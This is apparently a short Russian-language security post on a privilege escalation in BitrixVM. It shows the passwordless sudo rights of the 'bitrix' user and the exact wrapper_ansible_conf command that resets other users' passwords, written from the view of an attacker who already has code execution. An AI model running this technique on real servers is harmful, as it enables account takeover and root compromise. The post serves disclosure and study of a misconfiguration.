bitrixvm lpe из коробки
Слово bitrix уже как 3 года в переводе с молдаванского означает рукалицо. Сегодня расскажу вам про интересную фичу bitrixvm. Возможно кто то из вас с этим сталкивался, для меня это было новым.
После получения доступа к серверу с bitrix мы обычно имеем права пользователя bitrix.
Пользователь bitrix имеет следующие права на запуск sudo без ввода пароля (мы его обычно и не знаем после получения rce):
User bitrix may run the following commands on host: (ALL) NOPASSWD: /opt/webdir/bin/wrapper_ansible_conf, /opt/webdir/bin/bx-monitor, /opt/webdir/bin/bx-process, /opt/webdir/bin/bx-sites, /opt/webdir/bin/bx-mysql, /opt/webdir/bin/bx-mc, /opt/webdir/bin/bx-sphinx, /opt/webdir/bin/bx-node, /opt/webdir/bin/bx-provider
(ALL) NOPASSWD: /usr/bin/ansible host -m setup, /usr/bin/ansible localhost -m setup

выглядит очень привлекательно, если потыкать в эти бинари то можно найти функционал смены паролей пользователей (всех кроме root) через wrapper_ansible_conf.
Команда выглядит так:
sudo /opt/webdir/bin/wrapper_ansible_conf -a bx_passwd --user admin --host "имя хоста" -P пароль
имя хоста можно получить командой sudo /opt/webdir/bin/wrapper_ansible_conf
получается вот такая картина:

Таким образом, имея права пользователя bitrix без знания его пароля, мы можем сменить пароль любого другого пользователя в системе, получить права пользователя root и с высокой вероятностью найти что то полезное.